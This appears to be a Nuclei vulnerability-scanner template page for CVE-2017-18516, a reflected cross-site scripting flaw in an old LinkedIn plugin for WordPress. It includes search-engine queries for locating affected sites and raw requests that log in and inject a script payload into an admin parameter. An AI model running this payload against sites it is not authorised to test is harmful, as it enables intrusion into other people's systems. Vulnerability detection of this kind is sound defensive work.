LinkedIn by BestWebSoft < 1.0.5 - Cross-Site Scripting

ID: CVE-2017-18516

Severity: medium

Author: luisfelipe146

Tags: cve2017,cve,wordpress,wp-plugin,wpscan,bws-linkedin,xss,authenticated,bestwebsoft

Description

The bws-linkedin plugin before 1.0.5 for WordPress has multiple XSS issues.

YAML Source

id: CVE-2017-18516

info:
  name: LinkedIn by BestWebSoft < 1.0.5 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The bws-linkedin plugin before 1.0.5 for WordPress has multiple XSS issues.
  remediation: Fixed in version 1.0.5
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18516
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18516
    - https://wordpress.org/plugins/bws-linkedin/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18516
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:bestwebsoft:linkedin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: linkedin
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/bws-linkedin/
    fofa-query: body=/wp-content/plugins/bws-linkedin/
    publicwww-query: "/wp-content/plugins/bws-linkedin/"
  tags: cve2017,cve,wordpress,wp-plugin,wpscan,bws-linkedin,xss,authenticated,bestwebsoft

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/bws-linkedin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "LinkedIn by BestWebSoft")'
        condition: and
# digest: 490a0046304402200d30901c25081174c3d5a20b59d828d2d40f6a7e0616965c2563fa0bd867da19022071a5e44362a470319d9a01c28bda54aba052b6257b125d64817538a4911e4fb9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18516.yaml"

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